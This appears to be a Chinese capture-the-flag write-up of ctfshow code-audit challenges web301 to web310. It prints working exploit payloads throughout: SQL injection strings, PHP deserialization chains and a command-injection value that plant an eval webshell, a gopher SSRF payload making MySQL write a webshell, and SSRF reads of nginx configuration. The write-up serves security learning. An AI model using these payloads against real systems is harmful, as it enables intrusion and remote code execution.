ctfshow 代码审计

web301-- sql注入

这里看了一下文件发现,就一些登入页面文件
在这里插入图片描述

然后简单看了一下文件,定位到checklogin.php这个文件,做个简单的代码审计

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";   //判断当前传入的userid是否为空,空的话返回为空
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";  //判断当前传入的userpwd是否为空,空的话返回为空
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";  # 查询账号密码
$result=$mysqli->query($sql);   # mysql_query() 函数执行一条 MySQL 查询。
$row=$result->fetch_array(MYSQLI_BOTH);  # mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){   # 查询输入的密码,要等于查询的密码
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

发现查询输入的密码,要等于查询的密码,所以开始构造

userid=-1 union select 1#userpwd=1

WEB302 – sql注入

这题在上题的基础上多了一个加密函数

strcasecmp(sds_decode($userpwd),$row['sds_password']
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

这里还是没有防护,所以我们这里只需要改一下查询的参数即可,我们可以在这里输出一下
在这里插入图片描述

在这里插入图片描述
继续构造payload

userid=-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1

web303 – 报错注入

老规矩拿到源代码之后,把源码放到seay源代码审计系统康康
在这里插入图片描述
这里看一下这个语句是从哪里过来的

在这里插入图片描述
这里看了一下发现是这个页面传过来的
在这里插入图片描述
这里是访问一下这个网页
在这里插入图片描述
这里抓包看一下
在这里插入图片描述
这里可以看到当查询失败的时候回有报错
在这里插入图片描述
所以我们这边直接使用报错注入,但是一定要注意报错注入是有限制长度的。
payload:dpt_name=1’ or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),1,30),0x7e),1)#
在这里插入图片描述

payload: dpt_name=1’ or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),29,60),0x7e),1)#

在这里插入图片描述

web304 sql注入

增加了全局waf

function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是还是可以注入。

payload:

dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#

web305 反序列化

下载源代码
多了waf:

function sds_waf($str){
	if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
		return false;
	}else{
		return true;
	}
}

在这里插入图片描述
但是同时也多了反序列化入口,这里包含了class.php
在这里插入图片描述
这里看到利用条件,直接写马,这里的方法刚刚好是destruct,销毁及调用
在这里插入图片描述
使用这里只需要在登入页面抓包,然后再cookie里发送user=exp

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __destruct(){
        file_put_contents($this->username, $this->password);
    }
}

echo urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>')));

得到

O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

连接上去之后,发现找不到flag,这里flag在数据库里面,需要连接数据库
在这里插入图片描述

web306 反序列化

代码地址:https://pan.baidu.com/s/14NNHrtQayhOBN9t8Iq3V_g提取码 wiji

mvc结构的代码,index.php、dao.php、class.php看一下就可以了
首先找到反序列化入口
index.php
在这里插入图片描述这里可以看到包含了这两个页面

在这里插入图片描述
conn.php
在这里插入图片描述
dao.php
在这里插入图片描述
这里好像也没有什么利用的点
这里我们继续看class.php
在这里插入图片描述
这里发现了一个利用的点结合刚刚的dao.php就可以利用起来了,刚刚好又调用了close方法,所以我们只需要new log即可
在这里插入图片描述
exp

<?php
class dao{
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}

	public function __destruct(){
		$this->conn->close();
	}
}

class log{
	public $title='log.php';
	public $info='<?php eval($_POST[1]);?>';

	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

echo base64_encode(serialize(new dao()));

这里还是跟上一题一样,但是需要在index之后,账号密码是admin/admin1

web307反序列化命令执行

首先拿到源码,掏出我们的神器seay来先进行简单的代码审计
在这里插入图片描述
我们看到第二个出现了命令执行函数,所以可以直接去跟进看看能不能直接利用。
在这里插入图片描述

这里我们看到上面config已经实例化,这里包含了config.php,接下来我们去config.php看看这个参数cache_dir。
在这里插入图片描述
发现是个变量可以直接利用
在这里插入图片描述
接下来我们找一个怎样才能触发这个命令执行函数,这里用全局搜索发现从这里调用,
在这里插入图片描述
然后从这个页面开始触发,所以就可以开始构造了。
在这里插入图片描述
poc

<?php
class config{
	public $cache_dir = ';echo  "<?php eval(\$_POST[1]);?>" >a.php;';//linux的shell里面$有特殊意义所以转义一下。

}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

web308 ssrf 打mysql

这题还是一样先用seay代码审计工具试一下,发现还是一样的
在这里插入图片描述
但是我们这里跟进一下就会发现,不对劲过滤了,所以这里咱们暂时不能利用了。
在这里插入图片描述

假如想快速找出代码不同之处,可以用源代码对比工具,这里我的工具不见了。所以只能硬找了。反正代码也不是很多。

然后就发现fun.php里面有个curl_exec,看到这个函数想到ssrf
在这里插入图片描述

在这里插入图片描述
然后在里这里调用的,我们跟进一下参数
在这里插入图片描述
发现mysql好像是没有密码的,然后gopher的利用条件是

如果用户没有密码保护,你可以转储他的数据库,也可以在他的系统中放置恶意文件

在这里插入图片描述

然后这题也清晰了,但是得找到入口,入口在index所以可以开始构造
在这里插入图片描述
开始构造
在这里插入图片描述
poc

<?php

class config{
	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}

class dao{
	public $config;
	public function __construct(){
		$this->config=new config();
	}
}

$a = new dao;
echo base64_encode(serialize($a));

web308 ssrf 打 fastcgi

打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的
gopher://127.0.0.1:9000
在这里插入图片描述

直接打就是了,这里需要在index.php执行,这里我们可以利用heander跳到index。php里面去
在这里插入图片描述
在这里插入图片描述

web 310 ssrf读配置文件

9000和6379都是关着的。那我们可以试试读下配置文件
poc

<?php
class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

在这里插入图片描述
得到关键信息

	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

接着访问下
poc

<?php
class config{
	public $update_url = 'http://127.0.0.1:4476';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));
?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值